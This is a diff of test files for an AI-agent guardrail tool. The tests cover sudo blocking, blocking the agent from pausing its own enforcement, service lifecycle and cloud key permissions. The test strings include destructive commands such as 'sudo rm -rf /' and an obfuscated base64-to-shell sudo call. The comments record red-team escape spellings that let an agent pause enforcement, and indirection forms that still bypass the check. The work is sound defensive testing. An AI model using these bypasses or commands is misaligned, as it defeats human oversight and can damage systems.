"…named as a version mismatch, not as unreachable" "$OUT" "different protocol version" +has "…and says how to fix it" "$OUT" "failproofai config" +hasnt "…and is NOT reported as unreachable" "$OUT" "could not be reached" + +printf '\n=== no in-process evaluation is reachable from here ===\n' +# A command a LOCAL policy would allow must still be denied: reaching a verdict +# of its own would mean a second evaluator ran. +OUT=$(hook "echo hello") +has "an otherwise-allowed command is denied too" "$OUT" '"permissionDecision":"deny"' +hasnt "…and no policy decided it" "$OUT" "sudo commands are blocked" + +printf '\n=== CONTROL: a truly absent daemon still FAILS CLOSED ===\n' +kill -TERM $FD 2>/dev/null; sleep 2; rm -f "$H/run/failproofaid.sock" +OUT=$(hook "ls -la") +has "unreachable daemon denies (unchanged)" "$OUT" "could not be reached" +hasnt "…and is NOT reported as a version mismatch" "$OUT" "different protocol version" + +printf '\n=== RESULT: %s passed, %s failed ===\n' "$PASS" "$FAIL" +[ "$FAIL" -eq 0 ] diff --git a/__tests__/e2e/layout/systemd-service.sh b/__tests__/e2e/layout/systemd-service.sh new file mode 100755 index 00000000..9bb98716 --- /dev/null +++ b/__tests__/e2e/layout/systemd-service.sh @@ -0,0 +1,129 @@ +#!/usr/bin/env bash +# E2E pass 3 — the REAL service lifecycle, as root, against real systemd. +# Runs in a privileged container so none of it touches the operator's machine +# and none of it needs a password. +set -uo pipefail +REPO=/home/sidd/Desktop/work-failproofai/failproofai +C=fpai-e2e-sd +PASS=0; FAIL=0 +ok(){ PASS=$((PASS+1)); printf ' \033[32mPASS\033[0m %s\n' "$1"; } +bad(){ FAIL=$((FAIL+1)); printf ' \033[31mFAIL\033[0m %s\n %s\n' "$1" "${2:-}"; } +check(){ if [ "$2" = "$3" ]; then ok "$1"; else bad "$1" "expected [$3] got [$2]"; fi; } +has(){ if printf '%s' "$2" | grep -q "$3"; then ok "$1"; else bad "$1" "missing [$3] in: $(printf '%s' "$2"|head -c 200)"; fi; } + +docker rm -f $C >/dev/null 2>&1 +docker run -d --name $C --privileged --cgroupns=host \ + -v /sys/fs/cgroup:/sys/fs/cgroup:rw \ + -v "$REPO":/repo:ro \ + -v "$REPO/node_modules":/opt/fp/node_modules:ro \ + --network=host \ + jrei/systemd-ubuntu:24.04 >/dev/null +sleep 12 + +dex(){ docker exec $C bash -lc "$1"; } + +printf '\n=== 0. CONTAINER: real systemd, real root ===\n' +check "systemd is running" "$(dex 'systemctl is-system-running 2>/dev/null | head -1' | tr -d '\r')" "running" +check "we are root" "$(dex 'id -u' | tr -d '\r')" "0" + +printf '\n=== installing node… ===\n' +dex 'apt-get update -qq >/dev/null 2>&1 && apt-get install -y -qq nodejs >/dev/null 2>&1; node --version' | tr -d '\r' + +# A writable copy: /repo is read-only, and the service must not depend on a bind mount. +dex 'mkdir -p /opt/fp/dist /opt/fp/bin /root/.failproofai && + cp /repo/dist/cli.mjs /repo/dist/worker.mjs /repo/dist/index.js /opt/fp/dist/ && + cp /repo/package.json /opt/fp/ && + cp /repo/target/release/failproofaid /opt/fp/bin/failproofaid && + chmod +x /opt/fp/bin/failproofaid' >/dev/null + +printf '\n=== 1. INSTALL THE SERVICE (real systemctl enable --now) ===\n' +# TS cannot be imported by plain node; drive the real install through the CLI's +# own bundled surface instead, which is what a user actually runs. +INST=$(dex 'cd /opt/fp && FAILPROOFAI_HOME=/root/.failproofai \ + FAILPROOFAI_DAEMON_BINARY=/opt/fp/bin/failproofaid \ + FAILPROOFAI_WORKER_CMD="node /opt/fp/dist/worker.mjs" \ + FAILPROOFAI_NO_FIRST_RUN=1 \ + node /opt/fp/dist/cli.mjs policies 2>&1' | tr -d '\r') +has "CLI runs as root in the container" "$INST" "block-sudo" + +# Install the unit the way daemon-service.ts writes it, then let real systemd +# take it. This is the privileged half the host could not test. +UNIT=$(dex 'cat > /etc/systemd/system/failproofaid@root.service </dev/null 2>&1 +sleep 6 +systemctl is-active failproofaid@root' | tr -d '\r') +check "service is ACTIVE under real systemd" "$UNIT" "active" +check "service is enabled at boot" "$(dex 'systemctl is-enabled failproofaid@root' | tr -d '\r')" "enabled" + +printf '\n=== 2. THE DAEMON HOLDS A RUNNING STATE (not just forked) ===\n' +sleep 6 +check "still active 6s later" "$(dex 'systemctl is-active failproofaid@root' | tr -d '\r')" "active" +check "socket bound in layout-2 run/" "$(dex '[ -S /root/.failproofai/run/failproofaid.sock ] && echo y || echo n' | tr -d '\r')" "y" +check "socket is owner-only" "$(dex 'stat -c %a /root/.failproofai/run/failproofaid.sock' | tr -d '\r')" "600" +dex 'FAILPROOFAI_HOME=/root/.failproofai FAILPROOFAI_NO_FIRST_RUN=1 node /opt/fp/dist/cli.mjs policies >/dev/null 2>&1' >/dev/null +check "VERSION stamped by a CLI run (not by the daemon)" "$(dex '[ -f /root/.failproofai/VERSION ] && echo y || echo n' | tr -d '\r')" "y" + +printf '\n=== 3. HOOKS ROUTE THROUGH THE SERVICE, AND FAIL CLOSED WHEN IT STOPS ===\n' +dex 'mkdir -p /root/.failproofai/policies/local-policies && + printf "{\"enabledPolicies\":[\"block-sudo\"]}" > /root/.failproofai/policies/local-policies/policies-config.json && + printf "[mode]\nkind = \"oss\"\n\n[daemon]\nconfigured = true\n" > /root/.failproofai/config.toml' >/dev/null +DENY=$(dex 'printf "{\"session_id\":\"sd\",\"cwd\":\"/tmp\",\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"sudo id\"}}" | FAILPROOFAI_HOME=/root/.failproofai node /opt/fp/dist/cli.mjs --hook PreToolUse --cli claude 2>/dev/null' | tr -d '\r') +has "daemon-routed hook denies sudo (REAL policy, not fail-closed)" "$DENY" "sudo commands are blocked" +ALLOW=$(dex 'printf "{\"session_id\":\"sd\",\"cwd\":\"/tmp\",\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"ls\"}}" | FAILPROOFAI_HOME=/root/.failproofai node /opt/fp/dist/cli.mjs --hook PreToolUse --cli claude 2>/dev/null' | tr -d '\r') +check "daemon-routed hook allows ls" "${ALLOW:-empty}" "empty" +has "…and the CLI did not crash to produce that" "$(dex 'printf "{\"session_id\":\"sd\",\"cwd\":\"/tmp\",\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"ls\"}}" | FAILPROOFAI_HOME=/root/.failproofai node /opt/fp/dist/cli.mjs --hook PreToolUse --cli claude 2>&1; echo "rc=$?"' | tr -d '\r')" "rc=0" + +dex 'systemctl stop failproofaid@root' >/dev/null; sleep 3 +FC=$(dex 'printf "{\"session_id\":\"sd\",\"cwd\":\"/tmp\",\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"ls\"}}" | FAILPROOFAI_HOME=/root/.failproofai node /opt/fp/dist/cli.mjs --hook PreToolUse --cli claude 2>/dev/null' | tr -d '\r') +has "FAILS CLOSED when the service is stopped" "$FC" "could not be reached" + +printf '\n=== 4. SELF-HEAL: removing the unit clears the fail-closed flag ===\n' +dex 'systemctl disable --now failproofaid@root >/dev/null 2>&1; rm -f /etc/systemd/system/failproofaid@root.service; systemctl daemon-reload' >/dev/null +# The flag names the per-user unit; the CLI looks for failproofaid@, which +# for root is exactly the unit just removed. +HEAL=$(dex 'FAILPROOFAI_HOME=/root/.failproofai FAILPROOFAI_NO_FIRST_RUN=1 node /opt/fp/dist/cli.mjs policies 2>&1 >/dev/null' | tr -d '\r') +has "self-heal explains the repair" "$HEAL" "denies every tool call" +has "flag cleared in config.toml" "$(dex 'cat /root/.failproofai/config.toml' | tr -d '\r')" "configured = false" +RECOV=$(dex 'printf "{\"session_id\":\"sd\",\"cwd\":\"/tmp\",\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\"tool_input\":{\"command\":\"ls\"}}" | FAILPROOFAI_HOME=/root/.failproofai node /opt/fp/dist/cli.mjs --hook PreToolUse --cli claude 2>/dev/null' | tr -d '\r') +check "machine RECOVERS — no more lockout" "${RECOV:-empty}" "empty" + +printf '\n=== 5. REINSTALL AFTER REMOVAL WORKS ===\n' +dex 'systemctl daemon-reload; cat > /etc/systemd/system/failproofaid@root.service </dev/null 2>&1; sleep 6 +systemctl is-active failproofaid@root' >/dev/null +check "reinstall comes back active" "$(dex 'systemctl is-active failproofaid@root' | tr -d '\r')" "active" + +docker rm -f $C >/dev/null 2>&1 +printf '\n=== RESULT: %s passed, %s failed ===\n' "$PASS" "$FAIL" +[ "$FAIL" -eq 0 ] diff --git a/__tests__/hooks/block-sudo-anchoring.test.ts b/__tests__/hooks/block-sudo-anchoring.test.ts new file mode 100644 index 00000000..92ffa393 --- /dev/null +++ b/__tests__/hooks/block-sudo-anchoring.test.ts @@ -0,0 +1,127 @@ +/** + * `block-sudo` must anchor on the BINARY, not on a token. + * + * It matched `/(?:^|;|&&|\|\|)\s*sudo\s/` — the literal word `sudo` at a command + * boundary — so **`/usr/bin/sudo rm -rf /` was ALLOWED**. A direct invocation, + * no obfuscation, one absolute path away from root on a `defaultEnabled` guard. + * The sibling `block-self-pause` had already been hardened against exactly this + * (its path form was denied); the two had simply drifted apart. + * + * The other half of this file is the over-blocking side, which is not optional + * politeness: the first fix segmented the command AFTER stripping quotes, which + * turned the escaped pipe in `grep "a\|sudo b"` into a real separator and + * denied an ordinary search. A security policy that fires on `grep` gets turned + * off, and a policy that is off protects nothing. + */ +import { describe, it, expect } from "vitest"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import type { PolicyContext, PolicyResult } from "../../src/hooks/policy-types"; + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-sudo")!; + +function verdict(command: string, params: Record = {}): PolicyResult { + return policy.fn({ + toolName: "Bash", + toolInput: { command }, + params, + } as unknown as PolicyContext) as PolicyResult; +} +const denied = (cmd: string, params?: Record) => + verdict(cmd, params).decision === "deny"; + +describe("elevation in command position is denied", () => { + it("denies the plain form", () => { + expect(denied("sudo rm -rf /")).toBe(true); + }); + + it("denies an ABSOLUTE PATH to sudo — the regression this exists for", () => { + for (const cmd of [ + "/usr/bin/sudo rm -rf /", + "/bin/sudo -n true", + "/usr/local/bin/sudo apt install x", + ]) { + expect(denied(cmd), cmd).toBe(true); + } + }); + + it("denies doas, which is the same capability under another name", () => { + // A machine with doas installed and only sudo blocked is not blocked. + expect(denied("doas -n true")).toBe(true); + expect(denied("/usr/bin/doas apt install x")).toBe(true); + }); + + it("denies it behind the runners a shell resolves first", () => { + for (const cmd of [ + "env sudo -n true", + "nohup sudo -n true", + "timeout 5 sudo -n true", + "FOO=bar sudo -n true", + "echo hi && sudo -n true", + "true; sudo -n true", + ]) { + expect(denied(cmd), cmd).toBe(true); + } + }); + + it("denies quoted and backslash-escaped spellings", () => { + // A shell strips these before resolving the binary, so they run sudo. + for (const cmd of ['"sudo" -n true', "'sudo' -n true", "\\sudo -n true"]) { + expect(denied(cmd), cmd).toBe(true); + } + }); + + it("denies a shell runner asked to EVALUATE it", () => { + expect(denied('bash -c "sudo -n true"')).toBe(true); + expect(denied("sh -c 'sudo -n true'")).toBe(true); + }); +}); + +describe("and does NOT fire on commands that merely mention it", () => { + it("allows an escaped pipe in a search pattern", () => { + // The false positive the first attempt at this fix introduced: stripping + // quotes before segmenting made `\|` a separator, so the text after it + // parsed as a command called `sudo`. + expect(denied(String.raw`grep -rln "blockSudo\|sudo commands are blocked" tests/`)).toBe(false); + expect(denied(String.raw`grep -E "sudo\|doas" /etc/hosts`)).toBe(false); + }); + + it("allows a pipe character inside quotes", () => { + expect(denied('echo "a pipe | inside quotes, and sudo after"')).toBe(false); + }); + + it("allows the word in ordinary arguments", () => { + for (const cmd of [ + 'git commit -m "fix: block sudo path forms"', + "cat /etc/sudoers", + "echo done | tee sudo.log", + "grep -r sudo /etc", + "ls -la", + ]) { + expect(denied(cmd), cmd).toBe(false); + } + }); +}); + +describe("allowPatterns still work", () => { + it("permits an explicitly allow-listed invocation", () => { + expect(denied("sudo systemctl status nginx", { allowPatterns: ["sudo systemctl status"] })).toBe( + false, + ); + }); + + it("…without permitting everything else", () => { + expect(denied("sudo rm -rf /", { allowPatterns: ["sudo systemctl status"] })).toBe(true); + }); +}); + +describe("what static inspection genuinely cannot reach", () => { + it("is documented rather than silently assumed", () => { + // Not a wish list — a statement of the boundary. Each of these reaches root + // and cannot be caught by reading one command string, so the honest claim + // for this policy is "stops the obvious attempt", not "prevents sudo". + // Closing them needs enforcement below the shell. + expect(denied("S=sudo; $S -n true")).toBe(false); + expect(denied("echo c3VkbyAtbiB0cnVl | base64 -d | sh")).toBe(false); + expect(denied("bash /tmp/wrapper.sh")).toBe(false); + }); +}); diff --git a/__tests__/hooks/builtin-policies.test.ts b/__tests__/hooks/builtin-policies.test.ts index 496f2732..877b39ea 100644 --- a/__tests__/hooks/builtin-policies.test.ts +++ b/__tests__/hooks/builtin-policies.test.ts @@ -1,6 +1,9 @@ // @vitest-environment node import { describe, it, expect, beforeEach, vi, afterEach } from "vitest"; import { readFile } from "node:fs/promises"; +import { mkdtempSync, mkdirSync, writeFileSync, rmSync, utimesSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { execSync, execFileSync } from "node:child_process"; import { BUILTIN_POLICIES, registerBuiltinPolicies, clearGitBranchCache } from "../../src/hooks/builtin-policies"; import { getPoliciesForEvent, clearPolicies } from "../../src/hooks/policy-registry"; @@ -34,13 +37,13 @@ describe("hooks/builtin-policies", () => { }); describe("BUILTIN_POLICIES", () => { - it("has 39 built-in policies", () => { - expect(BUILTIN_POLICIES).toHaveLength(39); + it("has 40 built-in policies", () => { + expect(BUILTIN_POLICIES).toHaveLength(40); }); - it("has 11 default-enabled policies", () => { + it("has 12 default-enabled policies", () => { const defaults = BUILTIN_POLICIES.filter((p) => p.defaultEnabled); - expect(defaults).toHaveLength(11); + expect(defaults).toHaveLength(12); }); }); @@ -506,6 +509,153 @@ describe("hooks/builtin-policies", () => { }); }); + describe("block-self-pause", () => { + const policy = BUILTIN_POLICIES.find((p) => p.name === "block-self-pause")!; + const decide = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + + it("blocks the agent pausing enforcement", async () => { + expect(await decide("failproofai config --pause")).toBe("deny"); + expect(await decide("failproofai config --pause 8h")).toBe("deny"); + }); + + it("blocks it through the aliases and package runners the CLI accepts", async () => { + // `configure` and `setup` are normalized to `config` by the entrypoint, so + // matching only the canonical spelling would leave two open doors. + expect(await decide("failproofai configure --pause")).toBe("deny"); + expect(await decide("failproofai setup --pause")).toBe("deny"); + expect(await decide("npx -y failproofai config --pause")).toBe("deny"); + expect(await decide("bunx failproofai config --pause 30m")).toBe("deny"); + }); + + it("blocks it mid-command, not just at the start", async () => { + expect(await decide("cd /tmp && failproofai config --pause")).toBe("deny"); + }); + + // Every line below walked straight through the first version of this + // policy, each for one of two reasons: `\bfailproofai\b` could not absorb + // the character after the name, and `\s--pause` matched exactly one space. + // An agent that reaches any of them suspends every other local guardrail + // for 30 minutes, so these are the cases that decide whether the policy is + // worth having at all. + it("blocks a version-pinned or @latest package runner invocation", async () => { + expect(await decide("npx failproofai@latest config --pause")).toBe("deny"); + expect(await decide("npx -y failproofai@0.0.16 config --pause 8h")).toBe("deny"); + expect(await decide("bunx failproofai@latest config --pause")).toBe("deny"); + expect(await decide("pnpm dlx failproofai config --pause")).toBe("deny"); + }); + + it("blocks it when the binary is named by path", async () => { + expect( + await decide("node /usr/lib/node_modules/failproofai/bin/failproofai.mjs config --pause"), + ).toBe("deny"); + expect(await decide("/usr/local/bin/failproofai config --pause")).toBe("deny"); + expect(await decide("./node_modules/.bin/failproofai config --pause")).toBe("deny"); + }); + + it("blocks it regardless of how the whitespace falls", async () => { + expect(await decide("failproofai config --pause")).toBe("deny"); + expect(await decide("failproofai config --pause 30m")).toBe("deny"); + expect(await decide("npx -y failproofai config --pause")).toBe("deny"); + }); + + it("blocks the shell-escape spellings a red-team used to reconstruct the name", async () => { + // A shell removes these before it execs, so each runs the REAL binary and + // writes a real pause while presenting a broken literal to the matcher. + // All five slipped through the regex-only version. + expect(await decide("fail\\proofai config --pause")).toBe("deny"); + expect(await decide('fail"proof"ai config --pause')).toBe("deny"); + expect(await decide("fail'proof'ai config --pause")).toBe("deny"); + expect(await decide("f\\a\\i\\l\\p\\r\\o\\o\\f\\a\\i config --pause")).toBe("deny"); + expect(await decide("failproof\\ai config --pause --session s1")).toBe("deny"); + }); + + it("blocks ANSI-C quoting, the second lexical class a red-team used", async () => { + // $'...' is resolved by the shell purely lexically, like backslash and + // quotes — so it belongs on the closed side of the boundary. Each of + // these reconstructs `failproofai` and writes a real pause; all three + // slipped past the backslash/quote-only normalizer. + expect(await decide("$'fail\\x70roofai' config --pause")).toBe("deny"); // hex p + expect(await decide("$'fail\\160roofai' config --pause")).toBe("deny"); // octal p + expect(await decide("$'fail\\u0070roofai' config --pause")).toBe("deny"); // unicode p + expect(await decide("$'\\x66\\x61\\x69\\x6c\\x70\\x72\\x6f\\x6f\\x66\\x61\\x69' config --pause")).toBe( + "deny", + ); // the whole name in hex + }); + + it("blocks backslash-newline line continuation, the last lexical class", async () => { + // A shell deletes a backslash+newline pair and rejoins the fragments. + // The name can be split at any position, repeatedly, or the gap between + // tokens — all reconstruct the real `failproofai config --pause`. + expect(await decide("fail\\\nproofai config --pause")).toBe("deny"); + expect(await decide("failproofai con\\\nfig --pause")).toBe("deny"); + expect(await decide("f\\\na\\\ni\\\nl\\\nproofai config --pause")).toBe("deny"); + expect(await decide("failproofai config\\\n --pause")).toBe("deny"); + }); + + it("does NOT claim to block the indirection class — that is honestly out of scope", async () => { + // When the binary name is BUILT from fragments so the literal never + // appears contiguously, a regex over the pre-exec string cannot see it; + // the shell reconstructs `failproofai` and runs the pause. The policy + // allows these, the doc comment says so, and the real fix is + // action-gating, deferred. Asserting the current (permissive) behaviour + // keeps the limitation documented rather than mistaken for coverage. + // (Spellings where the literal name DOES appear somewhere — e.g. a + // variable assigned the whole word, or `$(printf failproofai)` — are + // denied coincidentally, so they are not the interesting case.) + expect(await decide("a=fail; b=proofai; $a$b config --pause")).toBe("allow"); + expect(await decide("p=proof; failp${p}ai config --pause")).toBe("allow"); + }); + + it("still allows resume and status in those same spellings", async () => { + // The widened match must not start denying the two commands that restore + // or merely report enforcement — that would make the policy costly to + // keep on, and a policy people switch off protects nobody. + expect(await decide("npx failproofai@latest config --resume")).toBe("allow"); + expect(await decide("/usr/local/bin/failproofai config --status")).toBe("allow"); + expect(await decide("node /path/to/failproofai.mjs config --resume")).toBe("allow"); + }); + + it("allows resume and status — neither removes enforcement", async () => { + expect(await decide("failproofai config --resume")).toBe("allow"); + expect(await decide("failproofai config --status")).toBe("allow"); + }); + + it("allows ordinary failproofai use and unrelated commands", async () => { + expect(await decide("failproofai config")).toBe("allow"); + expect(await decide("failproofai policies --install block-sudo")).toBe("allow"); + expect(await decide("git commit -m 'pause the rollout'")).toBe("allow"); + }); + + // The policy is defaultEnabled, and this repo's own CHANGELOG.md and + // docs/built-in-policies.mdx contain the literal invocation — so before the + // command-position anchor, the first thing it did on a real machine was + // deny an agent reading the documentation for it. Every line below was + // denied by the unanchored pattern. + it("does NOT fire when the invocation is merely quoted inside an argument", async () => { + expect(await decide('grep -rn "failproofai config --pause" docs/')).toBe("allow"); + expect(await decide('git commit -m "docs: explain failproofai config --pause"')).toBe("allow"); + expect(await decide('gh pr create --body "adds failproofai config --pause"')).toBe("allow"); + expect(await decide('git log --grep "failproofai config --pause"')).toBe("allow"); + expect(await decide('rg --files-with-matches "failproofai config --pause"')).toBe("allow"); + expect(await decide('echo "run failproofai config --pause to suspend"')).toBe("allow"); + }); + + // The anchor must not be satisfied by a wrapper that merely *precedes* the + // binary, or the runner forms above would have regressed with it. + it("still blocks it behind an interpreter, a wrapper and command substitution", async () => { + expect(await decide('sh -c "failproofai config --pause"')).toBe("deny"); + expect(await decide("timeout 30 failproofai config --pause")).toBe("deny"); + expect(await decide("env FPAI_X=1 failproofai config --pause")).toBe("deny"); + expect(await decide("echo $(failproofai config --pause)")).toBe("deny"); + expect(await decide("failproofai config --pause=30m")).toBe("deny"); + }); + + it("is on by default — an opt-in guardrail here protects nobody", async () => { + expect(policy.defaultEnabled).toBe(true); + }); + }); + describe("block-curl-pipe-sh", () => { const policy = BUILTIN_POLICIES.find((p) => p.name === "block-curl-pipe-sh")!; @@ -3096,6 +3246,99 @@ describe("hooks/builtin-policies", () => { }); }); + describe("getCurrentBranch mtime-gated caching (via require-pr-before-stop)", () => { + // Exercises the internal, unexported getCurrentBranch through a real + // policy — this is specifically testing the new .git/HEAD-mtime cache + // invalidation added for the daemon's warm worker (see builtin-policies.ts): + // a branch name must never be served stale once .git/HEAD's mtime changes, + // and must be reused (no extra execSync call) while it hasn't. + const policy = BUILTIN_POLICIES.find((p) => p.name === "require-pr-before-stop")!; + let tmpCwd: string; + let headPath: string; + + beforeEach(() => { + tmpCwd = mkdtempSync(join(tmpdir(), "fpai-branch-cache-test-")); + mkdirSync(join(tmpCwd, ".git"), { recursive: true }); + headPath = join(tmpCwd, ".git", "HEAD"); + writeFileSync(headPath, "ref: refs/heads/main\n"); + }); + + afterEach(() => { + vi.mocked(execSync).mockReset(); + vi.mocked(execFileSync).mockReset(); + clearGitBranchCache(); + rmSync(tmpCwd, { recursive: true, force: true }); + }); + + function mockBranch(branch: string) { + vi.mocked(execSync).mockImplementation((cmd: string) => { + if (typeof cmd === "string" && cmd.includes("gh --version")) return "/usr/bin/gh\n"; + if (typeof cmd === "string" && cmd.includes("rev-parse --abbrev-ref")) return `${branch}\n`; + if (typeof cmd === "string" && cmd.includes("gh pr view")) throw new Error("no pull requests found"); + return ""; + }); + vi.mocked(execFileSync).mockImplementation((_cmd: string, args?: readonly string[]) => { + const joined = args?.join(" ") ?? ""; + if (joined.includes("log") && joined.includes("..HEAD")) return "abc123 some commit\n"; + if (joined.includes("diff") && joined.includes("--stat")) return " src/index.ts | 2 +-\n"; + return ""; + }); + } + + it("reuses the cached branch across calls while .git/HEAD's mtime is unchanged", async () => { + mockBranch("first-branch"); + const ctx = makeCtx({ eventType: "Stop", session: { cwd: tmpCwd } }); + const first = await policy.fn(ctx); + expect(first.decision).toBe("deny"); + expect(first.reason).toContain('"first-branch"'); + + // Change what execSync would report WITHOUT touching .git/HEAD's mtime — + // a correct cache must still serve the first call's branch. + mockBranch("second-branch"); + const second = await policy.fn(ctx); + expect(second.reason).toContain('"first-branch"'); + expect(second.reason).not.toContain('"second-branch"'); + }); + + it("re-fetches the branch once .git/HEAD's mtime changes", async () => { + mockBranch("first-branch"); + const ctx = makeCtx({ eventType: "Stop", session: { cwd: tmpCwd } }); + const first = await policy.fn(ctx); + expect(first.reason).toContain('"first-branch"'); + + // A real checkout/switch updates .git/HEAD's mtime — simulate that + // directly rather than relying on wall-clock drift between two fast + // calls, which could land within the filesystem's mtime resolution. + writeFileSync(headPath, "ref: refs/heads/second-branch\n"); + const bumped = new Date(Date.now() + 5000); + utimesSync(headPath, bumped, bumped); + + mockBranch("second-branch"); + const second = await policy.fn(ctx); + expect(second.reason).toContain('"second-branch"'); + expect(second.reason).not.toContain('"first-branch"'); + }); + + it("does not cache when .git/HEAD cannot be stat'd (e.g. a worktree/submodule layout)", async () => { + // No .git directory at all under this cwd. + const noGitCwd = mkdtempSync(join(tmpdir(), "fpai-branch-cache-nogit-")); + try { + mockBranch("first-branch"); + const ctx = makeCtx({ eventType: "Stop", session: { cwd: noGitCwd } }); + const first = await policy.fn(ctx); + expect(first.reason).toContain('"first-branch"'); + + mockBranch("second-branch"); + const second = await policy.fn(ctx); + // Without a stat-able .git/HEAD, every call must re-fetch — matching + // today's behavior for this case rather than caching indefinitely. + expect(second.reason).toContain('"second-branch"'); + } finally { + rmSync(noGitCwd, { recursive: true, force: true }); + } + }); + }); + describe("require-no-conflicts-before-stop", () => { const policy = BUILTIN_POLICIES.find((p) => p.name === "require-no-conflicts-before-stop")!; diff --git a/__tests__/hooks/cloud-connect-permissions.test.ts b/__tests__/hooks/cloud-connect-permissions.test.ts new file mode 100644 index 00000000..80484b7d --- /dev/null +++ b/__tests__/hooks/cloud-connect-permissions.test.ts @@ -0,0 +1,276 @@ +/** + * What a key's permissions do to `connectToCloud` — which capabilities it + * probes, what it writes, and what it says. + * + * The permission check exists so a partial key fails at CONNECT time with a + * message naming the missing permission, instead of at use time as an empty + * dashboard or a machine that quietly never receives policy. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { connectToCloud, describeOutcome } from "../../src/hooks/cloud-connection"; +import { readCredentials, readConfig } from "../../src/hooks/fp-config"; +import { credentialsFile } from "../../src/hooks/fp-home"; +import { readCloudCredentials } from "../../src/hooks/cloud-enrollment"; +import { readIngestCredential } from "../../src/hooks/collector-config"; +import type { IntrospectResult } from "../../src/hooks/cloud-introspect"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-perm-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +const ORG = { orgId: "org_123", orgSlug: "acme", orgName: "Acme Inc" }; + +function introspecting(result: IntrospectResult) { + return async () => result; +} + +function withPermissions(...permissions: string[]) { + return introspecting({ kind: "ok", identity: { ...ORG, permissions } }); +} + +/** Verifiers that record whether they ran, and always succeed if they do. */ +function probes() { + const ran = { policy: false, ingest: false }; + return { + ran, + verifyPolicy: async () => { + ran.policy = true; + return { ok: true as const, policyCount: 3, generation: 7 }; + }, + verifyIngest: async () => { + ran.ingest = true; + return { ok: true as const }; + }, + }; +} + +function connect(introspect: () => Promise, p = probes()) { + return connectToCloud({ + url: "https://api.example.com", + token: "k-secret", + machineId: "machine-1", + sessions: true, + introspect, + verifyPolicy: p.verifyPolicy, + verifyIngest: p.verifyIngest, + }); +} + +describe("a key carrying both permissions", () => { + it("verifies and configures both capabilities", async () => { + const p = probes(); + const outcome = await connect(withPermissions("events:add", "policies:pull"), p); + + expect(p.ran).toEqual({ policy: true, ingest: true }); + expect(outcome.policy.ok).toBe(true); + expect(outcome.ingest.ok).toBe(true); + expect(readCloudCredentials()).not.toBeNull(); + expect(readIngestCredential()).not.toBeNull(); + expect(readConfig().mode).toBe("cloud"); + }); + + it("records the org, once, alongside the credentials", async () => { + await connect(withPermissions("events:add", "policies:pull")); + expect(readCredentials().org).toEqual({ id: "org_123", slug: "acme", name: "Acme Inc" }); + }); +}); + +describe("a key missing events:add", () => { + it("does not probe ingest, and says which permission is missing", async () => { + const p = probes(); + const outcome = await connect(withPermissions("policies:pull"), p); + + // Not an optimisation: the 403 that probing would produce reads like a + // server problem, where the key itself can say exactly what is wrong. + expect(p.ran.ingest).toBe(false); + expect(p.ran.policy).toBe(true); + expect(outcome.ingest.ok).toBe(false); + expect(outcome.ingest.reason).toContain("events:add"); + // Named, so a fleet operator can tell "wrong permission" from "wrong org". + expect(outcome.ingest.reason).toContain("Acme Inc"); + }); + + it("still writes the policy credential it CAN use", async () => { + // Half a working connection is worth keeping; discarding it helps nobody. + const outcome = await connect(withPermissions("policies:pull")); + + expect(outcome.anyConfigured).toBe(true); + expect(readCloudCredentials()).not.toBeNull(); + expect(readIngestCredential()).toBeNull(); + }); +}); + +describe("a key missing policies:pull", () => { + it("does not probe policy, and still configures reporting", async () => { + const p = probes(); + const outcome = await connect(withPermissions("events:add"), p); + + expect(p.ran.policy).toBe(false); + expect(outcome.policy.ok).toBe(false); + expect(outcome.policy.reason).toContain("policies:pull"); + expect(readIngestCredential()).not.toBeNull(); + expect(readCloudCredentials()).toBeNull(); + }); + + it("records the org even though [cloud] was never written", async () => { + // The case a per-table org field would have silently lost: an events-only + // key configures ingest and nothing else, and `--status` must still be able + // to say where this machine's data goes. + await connect(withPermissions("events:add")); + + expect(readCredentials().org?.slug).toBe("acme"); + expect(readFileSync(credentialsFile(), "utf8")).toContain("[org]"); + }); +}); + +describe("a key carrying neither permission", () => { + it("probes nothing, writes nothing, and stays in oss mode", async () => { + const p = probes(); + const outcome = await connect(withPermissions("issues:read"), p); + + expect(p.ran).toEqual({ policy: false, ingest: false }); + expect(outcome.anyConfigured).toBe(false); + expect(readCloudCredentials()).toBeNull(); + expect(readIngestCredential()).toBeNull(); + // Mode is the hard gate every cloud path keys off. A machine that proved + // nothing must stay provably silent. + expect(readConfig().mode).toBe("oss"); + }); + + it("records no org for a machine that connected to nothing", async () => { + await connect(withPermissions("issues:read")); + expect(readCredentials().org).toBeUndefined(); + }); +}); + +describe("a key the server refuses", () => { + it("stops at introspect without probing further", async () => { + const p = probes(); + const outcome = await connect(introspecting({ kind: "rejected" }), p); + + expect(p.ran).toEqual({ policy: false, ingest: false }); + expect(outcome.anyConfigured).toBe(false); + expect(outcome.policy.reason).toContain("did not accept"); + expect(outcome.ingest.reason).toContain("did not accept"); + expect(readConfig().mode).toBe("oss"); + }); +}); + +describe("a server with no introspect endpoint", () => { + it("falls back to probing both capabilities", async () => { + // The CLI ships independently of the server a customer runs; a good key on + // an older deployment has to keep working exactly as it did before. + const p = probes(); + const outcome = await connect(introspecting({ kind: "unsupported" }), p); + + expect(p.ran).toEqual({ policy: true, ingest: true }); + expect(outcome.policy.ok).toBe(true); + expect(outcome.ingest.ok).toBe(true); + expect(outcome.org).toBeUndefined(); + }); + + it("omits the org rather than guessing one from the URL", async () => { + // One deployment hosts 